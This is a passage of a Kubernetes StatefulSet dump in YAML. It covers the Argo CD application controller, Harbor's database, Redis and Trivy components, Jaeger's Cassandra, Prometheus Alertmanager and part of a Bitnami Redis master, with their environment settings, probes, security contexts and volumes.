          - name: ARGOCD_LOG_FORMAT_TIMESTAMP
            valueFrom:
              configMapKeyRef:
                key: log.format.timestamp
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_METRICS_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: controller.metrics.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.self.heal.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.self.heal.backoff.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_FACTOR
            valueFrom:
              configMapKeyRef:
                key: controller.self.heal.backoff.factor
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_CAP_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.self.heal.backoff.cap.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_COOLDOWN_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.self.heal.backoff.cooldown.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SYNC_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: controller.sync.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
            valueFrom:
              configMapKeyRef:
                key: controller.repo.server.plaintext
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_STRICT_TLS
            valueFrom:
              configMapKeyRef:
                key: controller.repo.server.strict.tls
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_PERSIST_RESOURCE_HEALTH
            valueFrom:
              configMapKeyRef:
                key: controller.resource.health.persist
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: controller.app.state.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_SERVER
            valueFrom:
              configMapKeyRef:
                key: redis.server
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_COMPRESSION
            valueFrom:
              configMapKeyRef:
                key: redis.compression
                name: argocd-cmd-params-cm
                optional: true
          - name: REDISDB
            valueFrom:
              configMapKeyRef:
                key: redis.db
                name: argocd-cmd-params-cm
                optional: true
          - name: REDIS_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-username
                name: argocd-redis
                optional: true
          - name: REDIS_PASSWORD
            valueFrom:
              secretKeyRef:
                key: auth
                name: argocd-redis
                optional: false
          - name: REDIS_SENTINEL_USERNAME
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-username
                name: argocd-redis
                optional: true
          - name: REDIS_SENTINEL_PASSWORD
            valueFrom:
              secretKeyRef:
                key: redis-sentinel-password
                name: argocd-redis
                optional: true
          - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
            valueFrom:
              configMapKeyRef:
                key: controller.default.cache.expiration
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ADDRESS
            valueFrom:
              configMapKeyRef:
                key: otlp.address
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_INSECURE
            valueFrom:
              configMapKeyRef:
                key: otlp.insecure
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_HEADERS
            valueFrom:
              configMapKeyRef:
                key: otlp.headers
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ATTRS
            valueFrom:
              configMapKeyRef:
                key: otlp.attrs
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_NAMESPACES
            valueFrom:
              configMapKeyRef:
                key: application.namespaces
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_CONTROLLER_SHARDING_ALGORITHM
            valueFrom:
              configMapKeyRef:
                key: controller.sharding.algorithm
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_KUBECTL_PARALLELISM_LIMIT
            valueFrom:
              configMapKeyRef:
                key: controller.kubectl.parallelism.limit
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_MAX
            valueFrom:
              configMapKeyRef:
                key: controller.k8sclient.retry.max
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
            valueFrom:
              configMapKeyRef:
                key: controller.k8sclient.retry.base.backoff
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_SERVER_SIDE_DIFF
            valueFrom:
              configMapKeyRef:
                key: controller.diff.server.side
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_IGNORE_NORMALIZER_JQ_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: controller.ignore.normalizer.jq.timeout
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_HYDRATOR_ENABLED
            valueFrom:
              configMapKeyRef:
                key: hydrator.enabled
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_CLUSTER_CACHE_BATCH_EVENTS_PROCESSING
            valueFrom:
              configMapKeyRef:
                key: controller.cluster.cache.batch.events.processing
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_CLUSTER_CACHE_EVENTS_PROCESSING_INTERVAL
            valueFrom:
              configMapKeyRef:
                key: controller.cluster.cache.events.processing.interval
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_COMMIT_SERVER
            valueFrom:
              configMapKeyRef:
                key: commit.server
                name: argocd-cmd-params-cm
                optional: true
          - name: KUBECACHEDIR
            value: /tmp/kubecache
          image: quay.io/argoproj/argocd:v3.1.6
          imagePullPolicy: IfNotPresent
          name: application-controller
          ports:
          - containerPort: 8082
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /app/config/controller/tls
            name: argocd-repo-server-tls
          - mountPath: /home/argocd
            name: argocd-home
          - mountPath: /home/argocd/params
            name: argocd-cmd-params-cm
          - mountPath: /tmp
            name: argocd-application-controller-tmp
          workingDir: /home/argocd
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: argocd-application-controller
        serviceAccountName: argocd-application-controller
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: argocd-home
        - emptyDir: {}
          name: argocd-application-controller-tmp
        - name: argocd-repo-server-tls
          secret:
            defaultMode: 420
            items:
            - key: tls.crt
              path: tls.crt
            - key: tls.key
              path: tls.key
            - key: ca.crt
              path: ca.crt
            optional: true
            secretName: argocd-repo-server-tls
        - configMap:
            defaultMode: 420
            items:
            - key: controller.profile.enabled
              path: profiler.enabled
            name: argocd-cmd-params-cm
            optional: true
          name: argocd-cmd-params-cm
    updateStrategy:
      rollingUpdate:
        partition: 0
      type: RollingUpdate
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: argocd-application-controller-6cd48b7869
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: argocd-application-controller-6cd48b7869
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: database
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: database
      heritage: Helm
      release: harbor
    name: harbor-database
    namespace: harbor
    resourceVersion: "18007901"
    uid: 366e618e-3549-449a-9084-4e72406812e5
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: database
        release: harbor
    serviceName: harbor-database
    template:
      metadata:
        annotations:
          checksum/secret: fda5ea441dd99451e1f03f09034777d1fe43d30f80f55c55dc6f507103c984f7
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: database
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: database
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: PGDATA
            value: /var/lib/postgresql/data/pgdata
          envFrom:
          - secretRef:
              name: harbor-database
          image: goharbor/harbor-db:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /docker-healthcheck.sh
            failureThreshold: 3
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: database
          readinessProbe:
            exec:
              command:
              - /docker-healthcheck.sh
            failureThreshold: 3
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/postgresql/data
            name: database-data
          - mountPath: /dev/shm
            name: shm-volume
        dnsPolicy: ClusterFirst
        initContainers:
        - args:
          - -c
          - chmod -R 700 /var/lib/postgresql/data/pgdata || true
          command:
          - /bin/sh
          image: goharbor/harbor-db:v2.14.0
          imagePullPolicy: IfNotPresent
          name: data-permissions-ensurer
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/postgresql/data
            name: database-data
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 999
          runAsUser: 999
        terminationGracePeriodSeconds: 120
        volumes:
        - emptyDir:
            medium: Memory
            sizeLimit: 512Mi
          name: shm-volume
    updateStrategy:
      rollingUpdate:
        partition: 0
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        labels:
          app: harbor
          chart: harbor
          heritage: Helm
          release: harbor
        name: database-data
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 1Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: harbor-database-74f5fcbf8c
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: harbor-database-74f5fcbf8c
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: redis
      heritage: Helm
      release: harbor
    name: harbor-redis
    namespace: harbor
    resourceVersion: "18046298"
    uid: ed37d66a-c159-428f-a336-c0ac5aa04570
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: redis
        release: harbor
    serviceName: harbor-redis
    template:
      metadata:
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: redis
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: redis
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - image: goharbor/redis-photon:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            tcpSocket:
              port: 6379
            timeoutSeconds: 1
          name: redis
          readinessProbe:
            failureThreshold: 3
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            tcpSocket:
              port: 6379
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/redis
            name: data
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 999
          runAsUser: 999
        terminationGracePeriodSeconds: 120
    updateStrategy:
      rollingUpdate:
        partition: 0
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        labels:
          app: harbor
          chart: harbor
          heritage: Helm
          release: harbor
        name: data
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 1Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: harbor-redis-54d5fdcdfd
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: harbor-redis-54d5fdcdfd
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: trivy
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: trivy
      heritage: Helm
      release: harbor
    name: harbor-trivy
    namespace: harbor
    resourceVersion: "18007915"
    uid: 3c263000-f9b0-4f8a-8ca9-edc3c55f0718
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: trivy
        release: harbor
    serviceName: harbor-trivy
    template:
      metadata:
        annotations:
          checksum/secret: 7fed78c063b47fa17033c6700702ca8ca1ef373f5e15b7af1df8133fbdad0bff
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: trivy
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: trivy
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: HTTP_PROXY
          - name: HTTPS_PROXY
          - name: NO_PROXY
            value: harbor-core,harbor-jobservice,harbor-database,harbor-registry,harbor-portal,harbor-trivy,harbor-exporter,127.0.0.1,localhost,.local,.internal
          - name: SCANNER_LOG_LEVEL
            value: info
          - name: SCANNER_TRIVY_CACHE_DIR
            value: /home/scanner/.cache/trivy
          - name: SCANNER_TRIVY_REPORTS_DIR
            value: /home/scanner/.cache/reports
          - name: SCANNER_TRIVY_DEBUG_MODE
            value: "false"
          - name: SCANNER_TRIVY_VULN_TYPE
            value: os,library
          - name: SCANNER_TRIVY_TIMEOUT
            value: 5m0s
          - name: SCANNER_TRIVY_GITHUB_TOKEN
            valueFrom:
              secretKeyRef:
                key: gitHubToken
                name: harbor-trivy
          - name: SCANNER_TRIVY_SEVERITY
            value: UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
          - name: SCANNER_TRIVY_IGNORE_UNFIXED
            value: "false"
          - name: SCANNER_TRIVY_SKIP_UPDATE
            value: "false"
          - name: SCANNER_TRIVY_SKIP_JAVA_DB_UPDATE
            value: "false"
          - name: SCANNER_TRIVY_DB_REPOSITORY
            value: mirror.gcr.io/aquasec/trivy-db,ghcr.io/aquasecurity/trivy-db
          - name: SCANNER_TRIVY_JAVA_DB_REPOSITORY
            value: mirror.gcr.io/aquasec/trivy-java-db,ghcr.io/aquasecurity/trivy-java-db
          - name: SCANNER_TRIVY_OFFLINE_SCAN
            value: "false"
          - name: SCANNER_TRIVY_SECURITY_CHECKS
            value: vuln
          - name: SCANNER_TRIVY_INSECURE
            value: "false"
          - name: SCANNER_API_SERVER_ADDR
            value: :8080
          - name: SCANNER_REDIS_URL
            valueFrom:
              secretKeyRef:
                key: redisURL
                name: harbor-trivy
          - name: SCANNER_STORE_REDIS_URL
            valueFrom:
              secretKeyRef:
                key: redisURL
                name: harbor-trivy
          - name: SCANNER_JOB_QUEUE_REDIS_URL
            valueFrom:
              secretKeyRef:
                key: redisURL
                name: harbor-trivy
          image: goharbor/trivy-adapter-photon:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 10
            httpGet:
              path: /probe/healthy
              port: api-server
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: trivy
          ports:
          - containerPort: 8080
            name: api-server
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /probe/ready
              port: api-server
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            limits:
              cpu: "1"
              memory: 1Gi
            requests:
              cpu: 200m
              memory: 512Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /home/scanner/.cache
            name: data
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 30
    updateStrategy:
      rollingUpdate:
        partition: 0
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        labels:
          app: harbor
          chart: harbor
          heritage: Helm
          release: harbor
        name: data
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 5Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: harbor-trivy-7594bdcf76
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: harbor-trivy-7594bdcf76
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    generation: 1
    labels:
      app: cassandra
      app.kubernetes.io/managed-by: Helm
      chart: cassandra-0.15.3
      heritage: Helm
      release: jaeger
    name: jaeger-cassandra
    namespace: jaeger
    resourceVersion: "18046767"
    uid: 00ed9095-106f-49b1-a75c-2b58e08b0660
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 3
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: cassandra
        release: jaeger
    serviceName: jaeger-cassandra
    template:
      metadata:
        creationTimestamp: null
        labels:
          app: cassandra
          release: jaeger
      spec:
        containers:
        - env:
          - name: CASSANDRA_SEEDS
            value: jaeger-cassandra-0.jaeger-cassandra.jaeger.svc.cluster.local
          - name: MAX_HEAP_SIZE
            value: 2048M
          - name: HEAP_NEWSIZE
            value: 512M
          - name: CASSANDRA_ENDPOINT_SNITCH
            value: GossipingPropertyFileSnitch
          - name: CASSANDRA_CLUSTER_NAME
            value: jaeger
          - name: CASSANDRA_DC
            value: dc1
          - name: CASSANDRA_RACK
            value: rack1
          - name: CASSANDRA_START_RPC
            value: "false"
          - name: POD_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          image: cassandra:3.11.6
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - /bin/sh
                - -c
                - exec nodetool decommission
          livenessProbe:
            exec:
              command:
              - /bin/sh
              - -c
              - nodetool status
            failureThreshold: 3
            initialDelaySeconds: 90
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 5
          name: jaeger-cassandra
          ports:
          - containerPort: 7000
            name: intra
            protocol: TCP
          - containerPort: 7001
            name: tls
            protocol: TCP
          - containerPort: 7199
            name: jmx
            protocol: TCP
          - containerPort: 9042
            name: cql
            protocol: TCP
          - containerPort: 9160
            name: thrift
            protocol: TCP
          readinessProbe:
            exec:
              command:
              - /bin/sh
              - -c
              - nodetool status | grep -E "^UN\s+${POD_IP}"
            failureThreshold: 3
            initialDelaySeconds: 90
            periodSeconds: 30
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/cassandra
            name: data
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: data
    updateStrategy:
      type: OnDelete
  status:
    availableReplicas: 3
    collisionCount: 0
    currentReplicas: 3
    currentRevision: jaeger-cassandra-5f5c6957bc
    observedGeneration: 1
    readyReplicas: 3
    replicas: 3
    updateRevision: jaeger-cassandra-5f5c6957bc
    updatedReplicas: 3
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:45Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager
    namespace: prometheus
    resourceVersion: "18034159"
    uid: 65e8fbab-201c-481d-86a2-756c8aa1a2dd
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: alertmanager
    serviceName: prometheus-community-alertmanager-headless
    template:
      metadata:
        annotations:
          checksum/config: 1cc58c99053e53d9a10bc8b269ebf8d439a4980f9265c13f3af1d90deeb7bd8d
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/name: alertmanager
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --storage.path=/alertmanager
          - --config.file=/etc/alertmanager/alertmanager.yml
          env:
          - name: POD_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          image: quay.io/prometheus/alertmanager:v0.28.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: http
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: alertmanager
          ports:
          - containerPort: 9093
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: http
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            runAsGroup: 65534
            runAsNonRoot: true
            runAsUser: 65534
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/alertmanager
            name: config
          - mountPath: /alertmanager
            name: storage
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-alertmanager
        serviceAccountName: prometheus-community-alertmanager
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: prometheus-community-alertmanager
          name: config
    updateStrategy:
      rollingUpdate:
        partition: 0
      type: RollingUpdate
    volumeClaimTemplates:
    - apiVersion: v1
      kind: PersistentVolumeClaim
      metadata:
        creationTimestamp: null
        name: storage
      spec:
        accessModes:
        - ReadWriteOnce
        resources:
          requests:
            storage: 2Gi
        volumeMode: Filesystem
      status:
        phase: Pending
  status:
    availableReplicas: 1
    collisionCount: 0
    currentReplicas: 1
    currentRevision: prometheus-community-alertmanager-7d556454c6
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updateRevision: prometheus-community-alertmanager-7d556454c6
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-master
    namespace: redis
    resourceVersion: "18046455"
    uid: 6d1f7889-12ce-46bd-a8a8-a3a60d538314
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: master
        app.kubernetes.io/instance: redis
        app.kubernetes.io/name: redis
    serviceName: redis-headless
    template:
      metadata:
        annotations:
          checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
          checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
          checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
          checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: master
          app.kubernetes.io/instance: redis
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: redis
          app.kubernetes.io/version: 8.2.2
          helm.sh/chart: redis-23.1.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/component: master
                    app.kubernetes.io/instance: redis
                    app.kubernetes.io/name: redis
                topologyKey: kubernetes.io/hostname
              weight: 1
        automountServiceAccountToken: false
        containers:
        - args:
          - -ec
          - /opt/bitnami/scripts/start-scripts/start-master.sh
          command:
          - /bin/bash
          env:
          - name: BITNAMI_DEBUG
            value: "false"
          - name: REDIS_REPLICATION_MODE
            value: master
          - name: ALLOW_EMPTY_PASSWORD
            value: "no"
          - name: REDIS_PASSWORD_FILE
            value: /opt/bitnami/redis/secrets/redis-password
          - name: REDIS_TLS_ENABLED
            value: "no"
          - name: REDIS_PORT
            value: "6379"
          image: registry-1.docker.io/bitnami/redis:latest
          imagePullPolicy: IfNotPresent
          livenessProbe:
            exec:
              command:
              - /bin/bash
              - -ec
              - /health/ping_liveness_local.sh 5
            failureThreshold: 5
            initialDelaySeconds: 20
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 6
          name: redis
          ports:
          - containerPort: 6379
            name: redis
            protocol: TCP
          readinessProbe:
            exec:
              command:
              - /bin/bash
              - -ec
              - /health/ping_readiness_local.sh 1
            failureThreshold: 5
            initialDelaySeconds: 20
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 2
          resources:
            limits:
              cpu: 150m
              ephemeral-storage: 2Gi
              memory: 192Mi
            requests:
              cpu: 100m
              ephemeral-storage: 50Mi
              memory: 128Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 1001
            runAsNonRoot: true
            runAsUser: 1001
            seLinuxOptions: {}
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
